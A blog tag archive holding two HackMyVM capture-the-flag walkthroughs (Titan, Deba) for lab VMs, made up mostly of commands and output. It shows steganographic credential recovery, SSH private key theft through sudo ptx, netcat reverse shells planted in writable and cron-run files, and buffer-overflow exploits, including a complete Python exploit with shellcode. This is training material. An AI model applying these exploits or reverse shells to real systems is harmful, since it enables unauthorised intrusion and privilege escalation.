标签归档:溢出

HackMyVm Titan Walkthrough

HackMyVm Titan Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Titan

Scan ports first.

 nmap -sV -sC -p- -oN ports.log 192.168.56.100
 Nmap scan report for chronos.local (192.168.56.100)
 Host is up (0.00098s latency).
 Not shown: 65533 closed ports
 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 37:fa:d2:9f:20:25:cf:c5:96:7a:dc:f3:ff:2c:7a:22 (RSA)
 |   256 11:ad:fa:95:71:c5:f9:d4:97:da:42:03:2b:0f:55:bb (ECDSA)
 |_  256 fa:fb:04:13:93:90:a5:01:53:ba:6c:e9:bf:dc:bf:7e (ED25519)
 80/tcp open  http    nginx 1.14.2
 |_http-server-header: nginx/1.14.2
 |_http-title: Site doesn't have a title (text/html).
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Scan port 80. found /robots.txt, then download athena.txt.

 ~ curl http://192.168.56.100/robots.txt
 gobuster-0 | 0 [14:29:34]
 /athena.txt

 ~ wget http://192.168.56.100/athena.txt

Use vim to open athena.txt, found some strange spaces and tabs.

image-20210829143154657.png

Through google "space tab steg", we know it's some crypto strings. And we can decrypt it with stegsnow. Then we get username and password of prometheus.

 ~ sudo apt install stegsnow
 stegsnow is already the newest version (20130616-6).
 ~ stegsnow -C athena.txt
 prometheus/iloveallhumans⏎

Log in ssh as prometheus, found a file named sacrifice in home folder.

 prometheus@titan:~$ ls -la
 total 52
 drwxr-xr-x 2 prometheus prometheus  4096 Aug 18 06:03 .
 drwxr-xr-x 5 root       root        4096 Aug  9 14:23 ..
 -rw------- 1 prometheus prometheus  2718 Aug 18 05:01 .bash_history
 -rw-r--r-- 1 prometheus prometheus   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 prometheus prometheus  3526 Aug  9 14:23 .bashrc
 -rw-r--r-- 1 prometheus prometheus   807 Aug  9 14:23 .profile
 -rwsr-sr-x 1 root       prometheus 16896 Aug  9 14:29 sacrifice
 -rw------- 1 prometheus prometheus   102 Aug 18 05:51 .Xauthority

Disassemble sacrifice, we can know, if we input "beef", we can escalate to user with uid 1000 (0x03E8).

 int __cdecl main(int argc, const char **argv, const char **envp)
 {
   char s1[72]; // [rsp+10h] [rbp-50h] BYREF
   int v6; // [rsp+5Ch] [rbp-4h]

   v6 = 1000;
   printf("What is your offer to the gods?");
   gets(s1);
   if ( strcmp(s1, "beef") )
   {
     printf("Thanks, mortal.");
   }
   else
   {
     setuid(0x3E8u);
     setgid(0x3E8u);
     printf("Take this gift.");
     system("/bin/bash");
   }
   return 0;
 }

Now we can escalate to user zeus.

 prometheus@titan:~$ ./sacrifice
 What is your offer to the gods?beef
 zeus@titan:~$ id
 uid=1000(zeus) gid=1001(prometheus) groups=1001(prometheus)

Check sudo -l.

zeus@titan:~$ sudo -l
 Matching Defaults entries for zeus on titan:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

 User zeus may run the following commands on titan:
     (hesiod) NOPASSWD: /usr/bin/ptx

Check help manual of ptx, then we can use ptx to read /home/hesiod/.ssh/id_rsa.

```bash
zeus@titan:/home/zeus$ sudo -u hesiod ptx /home/hesiod/.ssh/id_rsa -A -G
.xx "PRIVATE/" "" "-----BEGIN OPENSSH" "" "/home/hesiod/.ssh/id_rsa:1"
.xx "PRIVATE/" "" "-----END OPENSSH" "" "/home/hesiod/.ssh/id_rsa:27"
.xx "" "" "/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER" "" "/home/hesiod/.ssh/id_rsa:16"
...
.xx "" "" "xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z" "" "/home/hesiod/.ssh/id_rsa:22"
.xx "" "" "xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==" "" "/home/hesiod/.ssh/id_rsa:26"


Paste line by line in order into a new key file, chmod 600, then we can login as hesiod with private key.

```bash
 ~ ssh hesiod@192.168.56.100 -i id_rsa                                                                   ...
 Last login: Wed Aug 18 05:51:27 2021 from 192.168.56.150
 hesiod@titan:~$ id
 uid=1002(hesiod) gid=1002(hesiod) groups=1002(hesiod)
 hesiod@titan:~$</code></pre>
<p>In /home/hesiod, we found a file named fire. It's writable.</p>
<pre><code class="language-bash">hesiod@titan:~$ ls -la
 total 56
 drwxr-xr-x 4 hesiod hesiod  4096 Aug 18 02:11 .
 drwxr-xr-x 5 root   root    4096 Aug  9 14:23 ..
 -rw------- 1 hesiod hesiod  1265 Aug 18 01:51 .bash_history
 -rw-r--r-- 1 hesiod hesiod   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 hesiod hesiod  3526 Aug  9 14:23 .bashrc
 -rwxr-x--- 1 hesiod hesiod 16608 Aug  9 14:27 fire
 drwxr-xr-x 3 hesiod hesiod  4096 Aug  9 14:25 .local
 -rw-r--r-- 1 hesiod hesiod   807 Aug  9 14:23 .profile
 drwx------ 2 hesiod hesiod  4096 Aug  9 14:31 .ssh
 -rw------- 1 hesiod hesiod   102 Aug 18 02:11 .Xauthority</code></pre>
<p>Now here is the key point to root.</p>
<p>Go back to sacrifice, in disassembler, just scroll up a little, we can found a secret function named "thief".</p>
<p>```bash
.text:0000000000001185                 public thief
.text:0000000000001185 thief           proc near
.text:0000000000001185 ; <strong>unwind {
.text:0000000000001185                 push    rbp
.text:0000000000001186                 mov     rbp, rsp
.text:0000000000001189                 mov     edi, 0          ; uid
.text:000000000000118E                 call    _setuid
.text:0000000000001193                 mov     edi, 0          ; gid
.text:0000000000001198                 call    _setgid
.text:000000000000119D                 lea     rdi, command    ; "/home/hesiod/fire"
.text:00000000000011A4                 call    _system
.text:00000000000011A9                 nop
.text:00000000000011AA                 pop     rbp
.text:00000000000011AB                 retn
.text:00000000000011AB ; } // starts at 1185
.text:00000000000011AB thief           endp
.text:00000000000011AB
.text:00000000000011AC
.text:00000000000011AC ; =============== S U B R O U T I N E =======================================
.text:00000000000011AC
.text:00000000000011AC ; Attributes: bp-based frame
.text:00000000000011AC
.text:00000000000011AC ; int __cdecl main(int argc, const char <strong>argv, const char </strong>envp)
.text:00000000000011AC                 public main
.text:00000000000011AC main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000000011AC
.text:00000000000011AC var_60          = qword ptr -60h
.text:00000000000011AC var_54          = dword ptr -54h
.text:00000000000011AC s1              = byte ptr -50h
.text:00000000000011AC var_8           = dword ptr -8
.text:00000000000011AC var_4           = dword ptr -4
.text:00000000000011AC
.text:00000000000011AC ; </strong>unwind {
.text:00000000000011AC                 push    rbp
.text:00000000000011AD                 mov     rbp, rsp
.text:00000000000011B0                 sub     rsp, 60h
.text:00000000000011B4                 mov     [rbp+var_54], edi
.text:00000000000011B7                 mov     [rbp+var_60], rsi</p>
<pre><code>
Through reading the source code, we get the final method:

We need to overflow sacrifice, then run secret function "thief", "thief" then calls /home/hesiod/fire, and write shellcode in fire to get root.

To successfully pwn sacrifice, first step is to calcute the offset of overflow point. Download sacrificeto local machine, and use gdb-peda to load it. 

Create pattern string with length 200.

```bash
 gdb-peda$ pattern create 200
 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Input 'r' to let program run, when ask for input answer, paste the above pattern string.

 gdb-peda$ r
 Starting program: /home/kali/Documents/titan/sacrifice
 What is your offer to the gods?AAA%AAsA...

Then we will get Segmentation fault, because return address is illegal.

Program received signal SIGSEGV, Segmentation fault.
 [----------------------------------registers-----------------------------------]
 ...
 RSP: 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 RIP: 0x55555555524a (<main+158>:        ret)
 ...
 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
 [-------------------------------------code-------------------------------------]
    0x55555555523f <main+147>:   call   0x555555555040 <printf@plt>
    0x555555555244 <main+152>:   mov    eax,0x0
    0x555555555249 <main+157>:   leave  
 => 0x55555555524a <main+158>:   ret    
    0x55555555524b:      nop    DWORD PTR [rax+rax*1+0x0]
    0x555555555250 <__libc_csu_init>:    push   r15
    0x555555555252 <__libc_csu_init+2>:  mov    r15,rdx
    0x555555555255 <__libc_csu_init+5>:  push   r14
 [------------------------------------stack-------------------------------------]
 0000| 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 0008| 0x7fffffffe4f0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
 ...
 [------------------------------------------------------------------------------]
 Legend: code, data, rodata, value
 Stopped reason: SIGSEGV
 0x000055555555524a in main ()

Use "patter search" to get the offset is 88 for [RSP]. And [RSP] points to the original return address, which we want to overflow with our own return address.

 gdb-peda$ pattern search
 Registers contain pattern buffer:
 RBP+0 found at offset: 80
 Registers point to pattern buffer:
 [RSP] --> offset 88 - size ~112
 [R8] --> offset 0 - size ~212
 ...

The method is, we need to fill 87 chars, then following the address of secret function "thief", which is 0x555555555185. (Maybe not the same on your machine).

```bash
gdb-peda$ disassemble 0x555555555185
Dump of assembler code for function thief:
0x0000555555555185 <+0>: push rbp
0x0000555555555186 <+1>: mov rbp,rsp
0x0000555555555189 <+4>: mov edi,0x0
0x000055555555518e <+9>: call 0x555555555080 <setuid@plt>
0x0000555555555193 <+14>: mov edi,0x0
0x0000555555555198 <+19>: call 0x555555555070 <setgid@plt>
0x000055555555519d <+24>: lea rdi,[rip+0xe64] # 0x555555556008
0x00005555555551a4 <+31>: call 0x555555555030 <system@plt>
0x00005555555551a9 <+36>: nop
0x00005555555551aa <+37>: pop rbp
0x00005555555551ab <+38>: ret
End of assembler dump.


Because intel machine is little-Endian, so the 64bit address of 0x555555555185 should be <code>"\x85\x51\x55\x55\x55\x55\x00\x00" in python string format.

We write reverse shell code in /home/hesiod/fire as user hesiod, remember to add +x in order to let prometheus has execute permission.

```bash
 hesiod@titan:~$ echo 'nc 192.168.56.150 1234 -e /bin/bash' > fire
 hesiod@titan:~$ chmod +x fire
 hesiod@titan:~$ ls -la fire
 -rwxr-x--x 1 hesiod hesiod 36 Aug 18 06:05 fire

Then back to user prometheus, use python to generate the evil string and pwn sacrifice.

 prometheus@titan:~$ python3 -c 'print("a"*87+"\x85\x51\x55\x55\x55\x55\x00\x00")' |./sacrifice
 ────────────────────────────────────────────────────────────────────────────────────────────────
 ~ nc -nlvp 1234  
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:47256.
 id
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
 cd /root
 id;hostname
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
 titan

HackMyVm Deba Walkthrough

HackMyVm Deba Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Deba

Scan ports, found 22, 80 and 3000 are open.

 # Nmap 7.91 scan initiated Fri May 14 08:30:51 2021 as: nmap -sV -sC -p- -oN ports.log 192.168.56.100
 Nmap scan report for 192.168.56.100 (192.168.56.100)
 Host is up (0.0012s latency).
 Not shown: 65532 closed ports
 PORT     STATE SERVICE VERSION
 22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 22:e4:1e:f3:f6:82:7b:26:da:13:2f:01:f9:d5:0d:5b (RSA)
 |   256 7b:09:3e:d4:a7:2d:92:01:9d:7d:7f:32:c1:fd:93:5b (ECDSA)
 |_  256 56:fd:3d:c2:19:fe:22:24:ca:2c:f8:07:90:1d:76:87 (ED25519)
 80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
 |_http-server-header: Apache/2.4.38 (Debian)
 |_http-title: Apache2 Debian Default Page: It works
 3000/tcp open  http    Node.js Express framework
 |_http-title: Site doesn't have a title (text/html; charset=utf-8).

Scan port 80, found nothing. Check port 3000, looks like a node.js site.

[image-20210524174309208.png]

Use the classic Node.JS - 'node-serialize' Remote Code Execution POC at: https://www.exploit-db.com/exploits/49552.

Get reverse shell as www-data. Check sudo.

 www-data@debian:/home/low$ sudo -l
 sudo -l
 Matching Defaults entries for www-data on debian:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

 User www-data may run the following commands on debian:
     (ALL : low) NOPASSWD: /usr/bin/python3 /home/low/scripts/script.py

Check files and content of /home/low/scripts, we have write permission of main.py.

 www-data@debian:/home/low/scripts$ ls -la
 ls -la
 total 16
 drwxr-xr-x 2 low      low      4096 may  7 17:59 .
 drwxr-xr-x 8 low      low      4096 may  7 23:45 ..
 -rwxr-xr-x 1 www-data www-data   88 may  7 10:57 main.py
 -rw-r--r-- 1 low      low        80 may  7 10:44 script.py

 www-data@debian:/home/low/scripts$ cat script.py
 cat script.py
 import main
 import os
 print("\n")
 os.system("ip a | grep enp0s3")
 print("\n")

 www-data@debian:/home/low/scripts$ cat main.py
 cat main.py
 from os import system as main
 print("\n")
 print("Just main")
 main("whoami")
 print("\n")

Modify main.py to get shell as user low.

 echo 'import os;os.system("/bin/bash");' > main.py
 sudo -u low python3 /home/low/scripts/script.py
 low@debian:~/scripts$ id
 id
 uid=1001(low) gid=1001(low) grupos=1001(low)

Upload id_rsa.pub to get ssh access as user low.

 wget http://192.168.56.150/id_rsa.pub -O authorized_keys
 chmod 600 authorized_keys

After login as low, check pspy64. The user debian with id 1000 will run /home/debian/Documentos/backup/dissapeared.py each minute.

 2021/05/14 05:31:02 CMD: UID=0    PID=2240   | /usr/sbin/CRON -f
 2021/05/14 05:31:02 CMD: UID=1000 PID=2241   | /usr/bin/python3 /home/debian/Documentos/backup/dissapeared.py

Create the file and write shell code in it.

 low@debian:/home/debian/Documentos/backup$ echo 'import os;os.system("nc 192.168.56.150 2234 -e /bin/bash");' > dissapeared.py

Get reverse shell as user debain.

 nc -nlvp 2234      
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::2234
 Ncat: Listening on 0.0.0.0:2234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:45812.
 id
 uid=1000(debian) gid=1000(debian) grupos=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),114(lpadmin),115(scanner)

Spwan an interactive shell.

 python3 -c 'import pty;pty.spawn("/bin/bash")'

Here, we can upload id_rsa.pub again, to get ssh login.

Check sudo again.

 debian@debian:~$ sudo -l
 Matching Defaults entries for debian on debian:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

 User debian may run the following commands on debian:
     (ALL : root) NOPASSWD: /bin/wine /opt/Buffer-Overflow-Vulnerable-app/brainfuck.exe

Run brainfuck.exe, it will open port 9999 and receive user input.

image-20210524180541022.png

Dissassemble brainfuck.exe, the vulnerability is at get_reply function.

 int __cdecl get_reply(char *Source)
 {
   size_t v1; // eax
   char Destination[520]; // [esp+10h] [ebp-208h] BYREF

   printf("[get_reply] s = [%s]\n", Source);
   strcpy(Destination, Source);
   v1 = strlen(Destination);
   printf("[get_reply] copied %d bytes to buffer\n", v1);
   return strcmp(Destination, "shitstorm\n");
 }

The max length of user input string is 520, then 4 bytes for ebp, 4 bytes for return address. We can generate test string.

 python3 -c "print('a'*520+'bbbb'+'cccc')"                                                                                                                                                                                  python3-0 | 1 [17:17:10]
 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

Test it on windows, debug it with ollydbg, the return address is JUST overwrited by 'cccc'.

[image-20210524172438560.png]

Brainfuck.exe also has jmp esp instruction.

 ropper --file brainfuck.exe --search 'jmp esp'                                                                                                                                                                         fish-0 | 0 [17:21:23]
 [INFO] Load gadgets for section: .text
 [LOAD] loading... 100%
 [LOAD] removing double gadgets... 100%
 [INFO] Searching for gadgets: jmp esp

 [INFO] File: brainfuck.exe
 0x311712f3: jmp esp;

Then we can make pwn code with class shell code.

 #!/usr/bin/python3
 import socket
 target_ip='192.168.56.100'
 target_port=9999
 recv_buf=4096
 junk = b'a' *520+b'bbbb'
 ret_addr=b'\xf3\x12\x17\x31'
 #the classic shellcode
 shell_code = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
 payload = b''
 payload += junk
 payload += ret_addr
 payload +=shell_code
 with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
     clientSock.connect((target_ip,target_port))
     data_from_srv = clientSock.recv(recv_buf)
     print(f"Reply --> {data_from_srv}")
     print(f"Sending --> {payload}")
     clientSock.sendall(payload)

Start brainfuck.exe with sudo, run exp.py at local machine, then we can get root shell.